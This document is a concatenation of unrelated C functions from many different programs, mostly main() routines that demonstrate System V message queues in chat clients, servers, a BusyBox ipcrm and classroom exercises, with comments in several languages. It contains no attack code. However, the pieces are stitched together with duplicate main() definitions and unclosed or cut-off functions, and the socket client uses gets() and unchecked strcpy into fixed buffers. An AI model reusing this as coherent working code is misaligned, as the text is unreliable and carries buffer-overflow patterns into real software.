int main() { int msgid; msgid = msgget(0xA,IPC_CREAT | 0700); printf("msg id %d\n",msgid); return 0; }
int main(int argc, char **argv) { int c; int key; int retcode; const char *gg="G"; bool doblock=false; buffer.mType=MSGRECEIVE; buffer.mText[0]=0; key=0xdeadbeef; while (1) { int option_index = 0; c = getopt_long (argc, argv, "v?hdbwWfarRs:k:",long_options, &option_index); if (c == -1) break; switch (c) { case 's': strcpy(buffer.mText,optarg); sendMsg(); action=true; break; case 'r': printAll=true; break; case 'f': flushQueue=true; break; case 'w': receiveType=WAIT_MSG; break; case 'W': waitFirst=true; break; case 'k': key=atoi(optarg); if((queueID=msgget(key,IPC_CREAT|0660))==-1) { fprintf(stderr,"Can't create message queue\n"); exit(NOMAKEQUEUE); } break; case 'a': doActivateKKEdit=true; break; case 'R': doRemove=true; break; case 'b': doblock=true; break; case 'v': printf("kkeditmsg %s\n",VERSION); return ALLOK; break; case '?': case 'h': printHelp(); return ALLOK; break; default: fprintf(stderr,"?? Unknown argument ??\n"); return UNKNOWNARG; break; } } if((queueID=msgget(key,IPC_CREAT|0660))==-1) { fprintf(stderr,"Can't create message queue\n"); exit(NOMAKEQUEUE); } if (flushQueue==true) { allDone=false; while(allDone==false) { retcode=msgrcv(queueID,&buffer,MAX_MSG_SIZE,MSGANY,receiveType); if(retcode<=1) allDone=true; } return(ALLOK); } if(doActivateKKEdit==true) { char *com; sinkReturn=asprintf(&com,"kkedit -i %i",key); sinkReturn=system(com); free(com); } if(doblock==true) { block(); return(ALLOK); } if (printAll==true) { if(waitFirst==true) { receiveType=WAIT_MSG; readMsg(); receiveType=IPC_NOWAIT; } while(allDone==false) readMsg(); return(ALLOK); } if(doRemove==true) { queueID=msgget(key,IPC_CREAT|0660); msgctl(queueID,IPC_RMID,NULL); } if(action==false) readMsg(); return(ALLOK); }
int main() { FILE *fp; key_t key; pid_t pid; int msgid; //队列ID struct msgbuf msg1,msg2; char wbuf[800]="",my_name[20]="",others_name[20]=""; key=ftok(".",0xFF); if((msgid=msgget(key,IPC_CREAT|0666))<0) { //创建队列 perror("msgger error"); exit(0); } printf("plese input you name:"); msg1.mtype=4; //消息类型为3,此消息接受对方的姓名 memset(msg1.mtext,0,100);// 设置缓冲区的内容 fgets(wbuf,100,stdin);//将标准输入到wbuf缓冲区 wbuf[strlen(wbuf)-1]='\0'; strcpy(msg1.mtext,wbuf); strcpy(my_name,wbuf); msgsnd(msgid,&msg1,sizeof(msg1.mtext),0); msgrcv(msgid,&msg2,100,3,0); strcpy(others_name,msg2.mtext); fflush(stdout); if((pid=fork())<0) { printf("erro"); exit(0); } if(pid==0) { while(1) { msgrcv(msgid,&msg2,100,1,0); if((fp=fopen("data.txt","a+"))==NULL) { perror("打开失败记录"); return 0; } fprintf(fp,"%s:%s\n",others_name,msg2.mtext); fclose(fp); printf("\r%s:%s\n%s:",others_name,msg2.mtext,my_name); fflush(stdout); } }else { while(1) { msg1.mtype=2; memset(msg1.mtext,0,100);//刷新 printf("%s:",my_name); fgets(wbuf,100,stdin); wbuf[strlen(wbuf)-1]='\0'; strcpy(msg1.mtext,wbuf); msgsnd(msgid,&msg1,sizeof(msg1.mtext),0); } } }
int main(int argc, char** argv) { if (argc<4) { printf("Nie podano odpowiedniej ilosci parametrow.\n"); exit(0); } else { serverQID=atoi(argv[1]); maxRandom=atoi(argv[2]); priority=atoi(argv[3]); if ((maxRandom<1)||(maxRandom>30000)) { printf("Argument 2, zakres losowania musi byc z przedzialu 1-30000\n"); } } myPID = getpid(); myClientQID = msgget(myPID, IPC_CREAT|0600); if (myClientQID == -1){ printf("Nie udalo sie utworzyc kolejki klienta.\n"); exit(1); } struct msgbuf * msg=malloc(sizeof(struct msgbuf)); msg->mtype=priority; msg->maxRandom=maxRandom; msg->clientQID=myClientQID; if (msgsnd(serverQID, msg, sizeof(struct msgbuf), 0) == -1){ printf("Nie udalo sie wyslac wiadomosci od klienta do serwera.\n"); exit(2); } struct responsebuf* rmsg = malloc(sizeof(struct responsebuf)); if (msgrcv(myClientQID,rmsg,sizeof(struct msgbuf),-5,0)){ printf("Wylosowana liczba to : %d\n", rmsg->randomN); } else { printf("Nie udalo sie odebrac wiadomosci od serwera.\n"); } if(msgctl(myClientQID,IPC_RMID,NULL)==0) { printf("Zamknieto kolejke klienta.\n"); } else { printf("Nie udalo sie zamknac kolejki klienta.\n"); } if(msgctl(serverQID,IPC_RMID,NULL)==0) { printf("Zamknieto kolejke servera.\n"); } else { printf("Nie udalo sie zamknac kolejki servera.\n"); } return (0); }
int ipcrm_main(int argc, char **argv) { int c; int error = 0; /* if the command is executed without parameters, do nothing */ if (argc == 1) return 0; #if IPCRM_LEGACY /* check to see if the command is being invoked in the old way if so then run the old code. Valid commands are msg, shm, sem. */ { type_id what = 0; /* silence gcc */ char w; w = argv[1][0]; if ( ((w == 'm' && argv[1][1] == 's' && argv[1][2] == 'g') || (argv[1][0] == 's' && ((w = argv[1][1]) == 'h' || w == 'e') && argv[1][2] == 'm') ) && argv[1][3] == '\0' ) { if (argc < 3) bb_show_usage(); if (w == 'h') what = SHM; else if (w == 'm') what = MSG; else if (w == 'e') what = SEM; if (remove_ids(what, &argv[2])) fflush_stdout_and_exit(EXIT_FAILURE); printf("resource(s) deleted\n"); return 0; } } #endif /* IPCRM_LEGACY */ /* process new syntax to conform with SYSV ipcrm */ while ((c = getopt(argc, argv, "q:m:s:Q:M:S:h?")) != -1) { int result; int id = 0; int iskey = isupper(c); /* needed to delete semaphores */ union semun arg; arg.val = 0; if ((c == '?') || (c == 'h')) { bb_show_usage(); } /* we don't need case information any more */ c = tolower(c); /* make sure the option is in range: allowed are q, m, s */ if (c != 'q' && c != 'm' && c != 's') { bb_show_usage(); } if (iskey) { /* keys are in hex or decimal */ key_t key = xstrtoul(optarg, 0); if (key == IPC_PRIVATE) { error++; bb_error_msg("illegal key (%s)", optarg); continue; } /* convert key to id */ id = ((c == 'q') ? msgget(key, 0) : (c == 'm') ? shmget(key, 0, 0) : semget(key, 0, 0)); if (id < 0) { const char *errmsg; error++; switch (errno) { case EACCES: errmsg = "permission denied for"; break; case EIDRM: errmsg = "already removed"; break; case ENOENT: errmsg = "invalid"; break; default: errmsg = "unknown error in"; break; } bb_error_msg("%s %s (%s)", errmsg, "key", optarg); continue; } } else { /* ids are in decimal */ id = xatoul(optarg); } result = ((c == 'q') ? msgctl(id, IPC_RMID, NULL) : (c == 'm') ? shmctl(id, IPC_RMID, NULL) : semctl(id, 0, IPC_RMID, arg)); if (result) { const char *errmsg; const char *const what = iskey ? "key" : "id"; error++; switch (errno) { case EACCES: case EPERM: errmsg = "permission denied for"; break; case EINVAL: errmsg = "invalid"; break; case EIDRM: errmsg = "already removed"; break; default: errmsg = "unknown error in"; break; } bb_error_msg("%s %s (%s)", errmsg, what, optarg); continue; } } /* print usage if we still have some arguments left over */ if (optind != argc) { bb_show_usage(); } /* exit value reflects the number of errors encountered */ return error; }
int main(int argc, char *argv[]){ int sockfd; //create socket char buffer[BUFSIZE+1]; struct sockaddr_in serv_addr; //client will connect on this int mid; key_t key; char buff_str[BUFSIZE+1]; int buff_int; char path[100]; DIR *filename; struct dirent *ent; sigset_t set1, set2; sigfillset (&set1); sigfillset (&set2); sigdelset (&set2, SIGINT); sigdelset (&set2, SIGQUIT); sigprocmask(SIG_SETMASK, &set1, (void *)0); if(argc <= 1){ printf("How to use: %s remoteIPaddress [example: ./client 127.0.0.1]\n", argv[0]); exit(1);} bzero( (char *) &serv_addr, sizeof(serv_addr) ); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(SERV_TCP_PORT); inet_pton (AF_INET, argv[1], &serv_addr.sin_addr); if( (sockfd = socket(AF_INET, SOCK_STREAM, 0) ) < 0){ perror("Client: socket() error\n"); exit(1);} if(connect(sockfd,(struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0){ perror("Client: connect() error\n"); exit(1);} //Aquiring Message Queue ID key = ftok(".", 'z'); mid = msgget(key, 0); //Display Message Queue and Client ID printf("Message Queue ID: %d\n", mid); printf("Client ID: %ld\n", (long)getpid()); printf("\nServer: Welcome...What do you want to do? \n[type enter to continue][type /q to quit]\n"); printf("1.Create directory\n" "2.Delete directory\n" "3.Download file from server\n" "4.Send file to server\n" "Client: "); do{ gets(buffer); send(sockfd, buffer, BUFSIZE, 0); buff_int = atoi(buffer); switch(buff_int){ case 1: bzero(buffer, sizeof(buffer)); recv(sockfd, buffer, BUFSIZE, 0); printf("Server: %s\n",buffer); bzero(buffer, sizeof(buffer)); gets(buffer); send(sockfd, buffer, BUFSIZE, 0); recv(sockfd, buffer, BUFSIZE, 0); break; case 2: bzero(buffer, sizeof(buffer)); recv(sockfd, buffer, BUFSIZE, 0); printf("Server: %s\n",buffer); break; case 3: bzero(buffer, sizeof(buffer)); recv(sockfd, buffer, BUFSIZE, 0); printf("Server: %s\n",buffer); printf("Choose the file that you want to download.\n"); gets(buffer); send(sockfd, buffer, BUFSIZE, 0); bzero(buffer, sizeof(buffer)); recv(sockfd, buffer, BUFSIZE, 0); /*Receive File from Server*/ printf("Client: Receiveing file from Server and saving it as receive_server_file.txt...\n"); char* fr_name = "/home/kenzo/Desktop/Client/receive_server_file.txt"; FILE *fr = fopen(fr_name, "a"); if(fr == NULL) printf("File %s Cannot be opened.\n", fr_name); else { bzero(buffer, BUFSIZE); int fr_block_sz = 0; while((fr_block_sz = recv(sockfd, buffer, BUFSIZE, 0)) > 0) { int write_sz = fwrite(buffer, sizeof(char), fr_block_sz, fr); if(write_sz < fr_block_sz) { error("File write failed.\n"); } bzero(buffer, BUFSIZE); if (fr_block_sz == 0 || fr_block_sz != 256 ) { break; } } if(fr_block_sz < 0) { if (errno == EAGAIN) { printf("recv() timed out.\n"); } else { fprintf(stderr, "recv() failed due to errno = %d\n", errno); } } printf("File had successfully received from server!\n"); fclose(fr); } break; case 4: printf("Which file do you want to send to server?"); filename = opendir ("/home/kenzo/Desktop/Client"); if (filename != NULL) { while ((ent = readdir (filename))!=NULL) { strcat(buffer,ent->d_name); strcat(buffer,"\n"); } closedir (filename); puts(buffer); } gets(buffer); strcpy(path,"/home/kenzo/Desktop/Client/"); char* fs_name = strcat(path,buffer); printf("Client: Sending %s to the Server...\n ", fs_name); FILE *fs = fopen(fs_name, "r"); if(fs == NULL) { printf("ERROR: File %s not found.\n", fs_name); exit(1); } bzero(buffer, BUFSIZE); int fs_block_sz; while((fs_block_sz = fread(buffer, sizeof(char), BUFSIZE, fs)) > 0) { if(send(sockfd, buffer, fs_block_sz, 0) < 0) { fprintf(stderr, "ERROR: Failed to send file %s. (errno = %d)\n", fs_name, errno); } bzero(buffer, BUFSIZE); } printf("File %s from Client has successfully Sent!\n", fs_name); } }while(strcmp(buffer, "/q")); sigprocmask (SIG_UNBLOCK, &set1, (void *)0); close(sockfd); }
int main(int argc, char *argv[]) { struct request_msg req; struct response_msg resp; int server_id, num_msgs; ssize_t msg_len, total_bytes; if (argc != 2 || strcmp(argv[1], "--help") == 0) { fprintf(stderr, "usage: %s pathmae\n", argv[0]); exit(EXIT_FAILURE); } if (strlen(argv[1]) > sizeof(req.pathname) - 1) { fprintf(stderr, "pathmame too long (max: %ld bytes)\n", (long) sizeof(req.pathname) - 1); fprintf(stderr, "usage: %s pathname\n", argv[0]); exit(EXIT_FAILURE); } /* Get server's queue identifier; create queue for response */ server_id = msgget(SERVER_KEY, S_IWUSR); /* -w------- */ if (server_id == -1) { perror("msgget - server message queue"); exit(EXIT_FAILURE); } client_id = msgget(IPC_PRIVATE, S_IRUSR | S_IWUSR | S_IWGRP); /* rw--w---- */ if (client_id == -1) { perror("msgget - client message queue"); exit(EXIT_FAILURE); } if (atexit(remove_queue) != 0) { perror("atexit"); exit(EXIT_FAILURE); } /* Send message asking for file named in argv[1] */ req.mtype = 1; /* Any type will do */ req.client_id = client_id; strncpy(req.pathname, argv[1], sizeof(req.pathname) -1); req.pathname[sizeof(req.pathname) - 1] = '\0'; /* Ensure string is terminated */ if (msgsnd(server_id, &req, REQ_MSG_SIZE, 0) == -1) { perror("msgsnd"); exit(EXIT_FAILURE); } /* Get first response, which may be failure notification */ msg_len = msgrcv(client_id, &resp, RESP_MSG_SIZE, 0, 0); if (msg_len == -1) { perror("msgrcv"); exit(EXIT_FAILURE); } if (resp.mtype == RESP_MT_FAILURE) { printf("%s\n", resp.data); /* Display msg from server */ if (msgctl(client_id, IPC_RMID, NULL) == -1) { perror("msgctl"); exit(EXIT_FAILURE); } exit(EXIT_FAILURE); } /* File was opened successfully by server; process messages * (including the one already received) containing file data */ total_bytes = msg_len; /* Count first message */ for (num_msgs = 1; resp.mtype == RESP_MT_DATA; ++num_msgs) { msg_len = msgrcv(client_id, &resp, RESP_MSG_SIZE, 0, 0); if (msg_len == -1) { perror("msgrcv"); exit(EXIT_FAILURE); } total_bytes += msg_len; } printf("Received %ld bytes (%d messages)\n", (long) total_bytes, num_msgs); exit(EXIT_SUCCESS); }
int main(){ pid_t pidc, pids; int ret; id_c=msgget(IPC_PRIVATE, IPC_CREAT|0664); if(id_c < 0) { perror("Errore allocazione coda"); exit(1); } id_s=msgget(IPC_PRIVATE, IPC_CREAT|0664); if(id_s < 0) { perror("Errore allocazione coda"); exit(1); } for(i=0;i<CLIENT;i++){ pidc=fork(); if(pidc<0) { perror("Errore fork client"); exit(1); } if(pidc==0){ client(); exit(0); } } pids=fork(); if(pids<0) { perror("Errore fork server"); exit(1); } if(pids==0){ server(); exit(0); } for(i=0;i<CLIENT;i++) { wait(0); } Buffer_C uscita; uscita.v1=-1; uscita.v2=-1; uscita.pid=getpid(); ret = msgsnd(id_c,&uscita,sizeof(Buffer_C)-sizeof(long),0); if(ret < 0) { perror("Errore invio messaggio di terminazione"); exit(1); } wait(0); msgctl(id_c,0,IPC_RMID); msgctl(id_s,0,IPC_RMID); return 0; }
void* Primary(){ buf = &messageqid; key = 1234; //printf("%s", "vi er her \n"); if ((msqid = msgget(key, msgflg )) < 0) //Get the message queue ID for the given key die("msgget"); //Message Type sbuf.mtype = 1; sleep(1); buflen = strlen(sbuf.mtext) + 1 ; int a = 1; while(a){ // printf("%s", "vi i while \n"); if ((msqid = msgget(key, 0666)) < 0){ die("msgget"); } //Receive an answer of message type 1. if (msgrcv(msqid, &rcvbuffer, MAXSIZE, 0, IPC_NOWAIT) < 0){ // printf("%s", "vi inni while \n"); timeWaited = difftime(time(0), buf->msg_stime); // printf("%f", timeWaited); if(timeWaited > 3){ a = 0; } } } //Create backup if(rcvbuffer.mtext != NULL){ i = atoi(rcvbuffer.mtext); i++; } pthread_t t1; pthread_create(&t1, NULL, Primary, NULL); //Send messages while(1){ sprintf(sbuf.mtext, "%d", i); if (msgsnd(msqid, &sbuf, buflen, IPC_NOWAIT) < 0){ //printf ("%d, %d, %s, %d\n", msqid, sbuf.mtype, sbuf.mtext, buflen); die("msgsnd"); } else{ printf("%i\n", i); } // printf("%s", "hoho vi kom forbi"); msgctl(msqid, IPC_STAT, buf); i++; if(i == 4 || i == 7){ pthread_exit(Primary); } sleep(1); } exit(0); }
int main(int argc, char* argv[]) { int i = 0; char symbol; int end_app = 0; int task = 0; int server = msgget(15071410, 0644 | O_EXCL); struct msgbuf message; struct msgbuf m[20]; for(i=0; i<20; i++) { strcpy(m[i].text, ""); strcpy(m[i].nick, ""); strcpy(m[i].date, ""); } if (server == -1) { printf("Blad komunikacji z serwerem! \n"); } InitMenu(); while(!end_app) { printf("\nPodaj ID zadania: "); scanf("%d",&task); switch(task) { case 1: printf("Logowanie. Podaj nick: \n"); scanf("%s", message.nick); break; case 2: //printf("Uzytkownicy: \n"); break; case 3: //printf("Grupy: \n"); break; case 4: printf("Zmien nick: \n"); scanf("%s", message.nick); break; case 5: printf("Dolacz do grupy. Podaj nazwe grupy: \n"); scanf("%s", message.nick); break; case 6: printf("Wypisz sie z grupy. Podaj nazwe grupy: \n"); scanf("%s", message.nick); break; case 8: printf("Wyswietl chat. \n "); ShowChat(message, m, server); break; case 9: printf("Wyslij wiadomosc do grupy. Podaj nazwe grupy: \n"); scanf("%s", message.nick); i=0; strcpy(message.text, ""); //clear old msg while( (symbol = getchar()) != '\n') { //clean buffer } printf("Podaj wiadomosc: \n"); symbol=getchar(); while(( (symbol != '\n') && (i <256) )){ printf("Moje i to: %d", i); message.text[i++]=symbol; symbol = getchar(); } message.text[i]=0; break; case 10: printf("Wyloguj \n"); break; } message = InitTasks(message, task); msgsnd(server, &message, sizeof(message), 0); msgrcv(server, &message, sizeof(message), getpid(), MSG_NOERROR); CheckStatus(message); CheckCMD(message); } return 0; }
/******************************************************************************* * Entrada principal al programa. * Argumentos: * argc -- Numero de parametros con el que se ha llamado al programa. * argv -- Array de cadenas que contiene los parametros de entrada al programa. ******************************************************************************/ main(int argc, char **argv) { //Truncamos, o creamos si no existe, el archivo para el mecanismo IPC. FILE *colas; if((colas = fopen(FICHERO, "w")) == NULL) { printf("\nServidor: No se puede crear el archivo para las colas de mensajes.\n"); exit(-1); } fclose(colas); //Creamos el token para la cola cliente-servidor. llaveCCS = ftok(FICHERO, CLAVE_CCS); if(llaveCCS == (key_t) - 1) { perror("\nServidor"); exit(-1); } //Creamos el token para la cola servidor-cliente. llaveCSC = ftok(FICHERO, CLAVE_CSC); if(llaveCSC == (key_t) - 1) { perror("\nServidor"); exit(-1); } //Obtenemos, o creamos si no existe, la cola cliente-servidor. msqIdCCS = msgget(llaveCCS, IPC_CREAT | 0666); if(msqIdCCS == -1) { perror("\nServidor"); exit(-1); } //Obtenemos, o creamos si no existe, la cola servidor-cliente. msqIdCSC = msgget(llaveCSC, IPC_CREAT | 0666); if(msqIdCSC == -1) { perror("\nServidor"); exit(-1); } //Bucle de recepcion y tratamiento de mensajes. while(1) { struct mensaje mensajeRcv; if(msgrcv(msqIdCCS, &mensajeRcv, LON_MENSAJE, 0, 0) == -1) { perror("\nServidor"); exit(-1); } switch(mensajeRcv.orden) { case PEDIR_DATOS: PedirDatos(mensajeRcv); break; case INSERTAR_DATO: InsertarDatos(mensajeRcv); break; case FIN_DE_COMUNICACION: CerrarServidor(); default: EnviarCSCMsg(mensajeRcv.pid, ERROR, mensajeRcv.datos); break; } } }
int main() { int result = 0;//, thr_count = 0; key_t key = ftok(PATH_NAME, 0); if (key < 0) { printf("Can not generate key.\n"); exit(-1); } pthread_t thread_id; thread_input* func_argument = (thread_input*)calloc(MAX_NUMBER_OF_REQUESTS, sizeof(thread_input)); int sem_id = semget(key, 1, 0666 | IPC_CREAT); if (sem_id < 0) { printf("Can not get msqid.\n"); exit(-1); } struct sembuf init_sem = {}; init_sem.sem_num = 0; init_sem.sem_op = MAX_NUMBER_OF_REQUESTS + 1; init_sem.sem_flg = 0; struct sembuf threads_free = {}; threads_free.sem_num = 0; threads_free.sem_op = -1; threads_free.sem_flg = 0; semop(sem_id, &init_sem, 1); int msqu_id = msgget(key, 0666 | IPC_CREAT); if (msqu_id < 0) { printf("Can not get msqu_id.\n"); exit(-1); } message mybuf_input; while(1) { if ((msgrcv(msqu_id, (message*) &mybuf_input, sizeof(my_data), 0, 0)) < 0) { printf("Can\'t receive message from client.\n"); exit(-1); } else { printf("I have a message! Process id is %d\n", (int)mybuf_input.data.my_id); sleep(1); if (mybuf_input.type == 255) exit(0); semop(sem_id, &threads_free, 1); int i; for (i = 0; i < MAX_NUMBER_OF_REQUESTS; i++) { if(threads_to_use[i] == 0) { threads_to_use[i] = 1; func_argument[i].buf_in = mybuf_input; func_argument[i].thread_num = i; func_argument[i].msg_id = msqu_id; func_argument[i].sem_id = sem_id; result = pthread_create(&thread_id, (pthread_attr_t *)NULL, my_thread, func_argument + i); if (result) { printf("Can not create thread, returned value = %d\n" , result); exit(-1); } break; } } } } return 0; }
int main(int argc,char* argv[]) { struct sigaction Fct; int memoire; connecte = false; Fct.sa_handler = HNouveauMessage; sigemptyset(&Fct.sa_mask); Fct.sa_flags = 0; sigaction (SIGUSR1, &Fct, NULL); Fct.sa_handler = HFinConnexion; sigemptyset(&Fct.sa_mask); Fct.sa_flags = 0; sigaction (SIGINT, &Fct, NULL); sigemptyset(&Fct.sa_mask); Fct.sa_flags = 0; Fct.sa_handler = HNalarm; sigaction(SIGALRM, &Fct, NULL); Fct.sa_handler = NouvPub; sigemptyset(&Fct.sa_mask); Fct.sa_flags = 0; sigaction (SIGUSR2, &Fct, NULL); if ((memoire = shmget(MEMORY,0, NULL)) == -1) //si elle existe on recupère ses infos ici { printf("erreur de recuperation memoire"); // sinon on a un problème exit(1); } if((Tab = (MEMOIRE*)shmat(memoire, NULL, 0)) == (MEMOIRE*) -1)//On se raccroche à la mémoire avec un pointeur de struct memoire { printf("Erreur du rattachement à la mémoire"); exit(1); } if ((idMsg = msgget(KEY, 0)) == -1) //rattache la file de message { fflush(stdout); perror("Erreur msgget Client"); exit(0); } M.Requete = NEWWINDOW; M.Type = 1L; M.idPid = getpid(); if (msgsnd (idMsg, &M, strlen(M.Donnee) + sizeof(long) + 1 + sizeof(int), 0) == -1) { perror("Erreur msgsnd Client"); exit(0); } QApplication appl(argc,argv); F1 = new Client(); F1->show(); F1->setPublicite(Tab->pub); return appl.exec(); }
int main( int argc , char *argv[] ) { int shmid, shmflg, queID, msgStatus, lines_active; key_t shmkey, msgQueKey; shared_data *p; msgBuf msg; shmkey = SHMEM_KEY ; shmflg = IPC_CREAT | S_IRUSR | S_IWUSR /* | IPC_EXCL */ ; shmid = shmget( shmkey , SHMEM_SIZE , shmflg ); if (shmid == -1) { printf("\nFailed to create/find shared memory '0x%X'.\n", shmkey ); perror("Reason:"); exit(-1); } p = (shared_data *) shmat( shmid , NULL , 0 ); if (p == (shared_data *) -1) { printf ("\nFailed to attach shared memory id=%d\n" , shmid ); perror("Reason:"); exit(-1) ; } /* Create / Find the message queues */ msgQueKey = BASE_MAILBOX_NAME ; queID = msgget( msgQueKey , IPC_CREAT | 0600 ) ; /*rw. ... ...*/ if ( queID < 0 ) { printf("Failed to create mailbox %X. Error code=%d\n", msgQueKey , errno ) ; exit(-2) ; } lines_active = atoi(argv[1]); while (0 < lines_active) { //printf("LINES ACTIVE: %d\n", lines_active); /* now, wait for a message to arrive from the user process */ msgStatus = msgrcv( queID , &msg , MSG_INFO_SIZE , 1 , 0 ); if ( msgStatus < 0 ) { printf("failed to receive message from user process on queuid %d. error code=%d\n" , queID , errno ) ; sleep(3); exit(-2) ; } if (msg.info.is_done == 1) { lines_active--; printf("Factory ID: %d Total iterations: %d Total parts produced: %d\n", msg.info.factory_ID, msg.info.num_iters, msg.info.produced); } else { p->total += msg.info.num_parts; p->num_iters++; printf("Factory ID: %d Capacity: %d Parts produced: %d Duration: %d\n", msg.info.factory_ID, msg.info.capacity, msg.info.num_parts, msg.info.duration); } } if (sem_post(&(p->factory_lines_finished))) { perror("Failed to post factory_lines_finished semaphore"); exit(-1); } if (sem_wait(&(p->print_aggregates))) { perror("Failed to post factory_lines_finished semaphore"); exit(-1); } printf("\nTotal Items Produced: %d\n", p->total); sleep(5); return 0; }
void do_recv_messgae_from_arbiter() { char buff[65535]; struct sockaddr_in recv_control_addr; socklen_t recv_control_addr_len = sizeof(recv_control_addr); int len = 0; //struct msg_st *mesg = NULL; char buf[500]; int ret = 0; struct msg_st mesg; int msgid = 0; uint32_t count_stat = 0; //char buf[512]; char file_buf[512]; FILE *fp = NULL; fp = fopen(DATA_STREAM_FILE_NAME,"w+"); if(NULL == fp) { marbit_send_log(INFO,"failed to open file %s\n", DATA_STREAM_FILE_NAME); return; } int shmid = 0; skbstat_t *skbstat = NULL; #if 1 struct msqid_ds msg_ginfo,msg_sinfo; msg_stat(msgid,msg_ginfo); msg_sinfo.msg_perm.uid=8;//just a try msg_sinfo.msg_perm.gid=8;// msg_sinfo.msg_qbytes=16384000; //此处验证超级用户可以更改消息队列的缺省msg_qbytes #endif key_t key; key = ftok(KEYPATH, KEYPROJ); if (key<0) { marbit_send_log(INFO,"ftok()"); return; } msgid = msgget(key, IPC_CREAT|0600); if (msgid<0) { marbit_send_log(INFO,"msgget() error "); return ; } if ( (shmid = shmget(STAT_SHM_KEY, SHM_SIZE, SHM_MODE)) < 0) { marbit_send_log(INFO,"shmget"); return; } if ( ( skbstat = (skbstat_t *)shmat(shmid, NULL, 0)) == (void *) -1) { marbit_send_log(INFO, "shmat"); return; } skbstat->web_msgid = msgid; skbstat->web_mesg_flag = 1; marbit_send_log(INFO,"msgid = %d\n", msgid); marbit_send_log(INFO,"set shm web_mesg_flag = 1\n"); time_t begin_time = time(NULL); time_t finish_time = 0; marbit_send_log(INFO,"begin_time = %d\n", begin_time); while (1) { if(1 == STREAM_MESG_NUM_LIMIT_FLAG) { if(count_stat >= STREAM_MESG_NUM_LIMIT_MAX) { marbit_send_log(INFO, "count_stat[%d] >= STREAM_MESG_NUM_LIMIT_MAX[%d], just exit\n",count_stat, STREAM_MESG_NUM_LIMIT_MAX); break; } } if(1 == g_force_recv_from_arbiter_shutdown) { marbit_send_log(INFO,"g_force_recv_from_arbiter_shutdown = 1, break\n"); break; } ret = msgrcv(msgid, &mesg, sizeof(mesg)-sizeof(long), 0, IPC_NOWAIT); if (ret<0) { if(errno == ENOMSG) { continue; } marbit_send_log(ERROR,"msgrcv() error errno = %d\n", errno); break; } if(1 == mesg.finish_flag) { count_stat++; marbit_send_log(INFO,"recv message from arbiter finished! %u\n", count_stat); finish_time = time(NULL); marbit_send_log(INFO,"finish_time = %d\n", finish_time); break; } else //if(0 == mesg->finish_flag) { #if 1 fprintf(fp, "%-15u,%-15u,%-15u,%-15u,%-15u,%-15u,%-15u,%-15u,%-15u,%-15u\n", mesg.ip_src, mesg.port_src, mesg.ip_dst , mesg.port_dst, mesg.proto, mesg.proto_mark, mesg.up_bytes, mesg.down_bytes, mesg.duration_time, mesg.finish_flag); #endif count_stat++; } } time_t end_time = time(NULL); marbit_send_log(INFO,"end_time = %d\n", end_time); msgctl(msgid, IPC_RMID, NULL); fclose(fp); return;
int main(int argc, char *argv[]) { size_t len; char name[MAX_NAME]; pid_t childPid; struct Message message; memset(name, 0, MAX_NAME); if (atexit(cleanup) != 0) { errExit("atexit"); } clientId = msgget(IPC_PRIVATE, S_IRUSR | S_IWUSR); if (clientId == -1) { errExit("client msgget"); } serverId = msgget(SERVER_KEY, S_IWUSR); if (serverId == -1) { errExit("server msgget"); } if (fgets(name, MAX_NAME, stdin) == NULL) { errExit("fgets"); } len = strlen(name); name[len - 1] = '\0'; message.mtype = CLIENT_JOIN_OR_LEAVE; message.data.meta = META_JOIN; message.data.mqid = clientId; memset(message.data.text, 0, TEXT_SIZE); strncpy(message.data.text, name, len); // request to join the chat server if (msgsnd(serverId, &message, MESSAGE_SIZE, 0) == -1) { errExit("msgsnd"); } // see if the server agrees if (msgrcv(clientId, &message, MESSAGE_SIZE, SERVER_JOIN_OR_LEAVE, 0) == -1) { errExit("msgsnd"); } if (message.data.meta == META_ERR) { fprintf(stderr, "Failed to join the server\n"); exit(EXIT_FAILURE); } // joining went ok, start up client handlers and enter message loop childPid = fork(); if (childPid == 0) { handleChats(); } childPid = fork(); if (childPid == 0) { handleRoomStatus(); } message.mtype = CLIENT_CHAT; message.data.meta = 0; message.data.mqid = clientId; while ((fgets(message.data.text, TEXT_SIZE, stdin)) != NULL) { len = strlen(message.data.text); message.data.text[len - 1] = '\0'; if (msgsnd(serverId, &message, MESSAGE_SIZE, 0) == -1) { errExit("msgsnd"); } } exit(EXIT_SUCCESS); }
int main(int argc,char *argv[]) { sigset_t mask; struct sigaction sigAct; key_t cle; REQUETE Requete; REPONSE Reponse; TOPSCORE TopScore; CONNECTION *pC; int hd; FILE *f; if (argc != 2) { printf("Nombre d'argument insuffisant !\n"); printf("Usage : Serveur cle\n"); fflush(stdout); exit(1); } // Redirection de la sortie d'erreur vers Trace.log if ((f = fopen(NOM_FICHIER_TRACE,"w")) == NULL) { perror("Erreur de fopen()..."); exit(1); } hd = fileno(f); if (dup2(hd,2) != 2) { perror("Erreur de dup2()..."); exit(1); } // Recuperation de la cle des IPC cle = atoi(argv[1]); Trace("Cle IPC = %d",cle); fflush(stdout); // Armement et masquage des signaux sigfillset(&mask); sigdelset(&mask,SIGINT); sigprocmask(SIG_SETMASK,&mask,NULL); sigAct.sa_handler = HandlerSIGINT; sigAct.sa_flags = 0; sigemptyset(&sigAct.sa_mask); sigaction(SIGINT,&sigAct,NULL); // Initialisation des mutex pthread_mutex_init(&mutexConnections,NULL); // Chargement du fichier des score; Trace("Chargement Fichier Top Score"); if (LoadFichierTopScore(NOM_FICHIER_TOPSCORE,&TopScore) < 0) { perror("Erreur du chargement du fichier Top Score"); exit(1); } // Creation de la memoire partagee, attachement et initialisation Trace("Creation et initialisation des IPC"); if ((idM = shmget(cle,sizeof(MEM),IPC_CREAT | IPC_EXCL | 0600)) == -1) { perror("Erreur de creation de memoire partagee"); exit(1); } if ((pShm = (MEM*)shmat(idM,0,0)) == (MEM *)-1) { perror("Erreur d'attachement a la memoire partagee"); if (shmctl(idM,IPC_RMID,0)) perror("Erreur de suppression de la memoire partagee"); exit(1); } pShm->nbJoueursConnectes = nbClients; // qui est egal a 0 memcpy(&(pShm->TopScore),&TopScore,sizeof(TOPSCORE)); // Creation de la file de message if ((idQ = msgget(cle,IPC_CREAT | IPC_EXCL | 0600)) == -1) { perror("Erreur de creation de la file de messages"); if (shmctl(idM,IPC_RMID,0)) perror("Erreur de suppression de la memoire partagee"); exit(1); } // Lancement du threadKeepAlive pthread_create(&threadKeepAlive,NULL,FctThreadKeepAlive,NULL); Trace("En attente de requetes..."); while(1) { if(msgrcv(idQ,&Requete,sizeof(REQUETE)-sizeof(long),1,0)==-1) SortieErreur("Erreur de msgrcv",1); 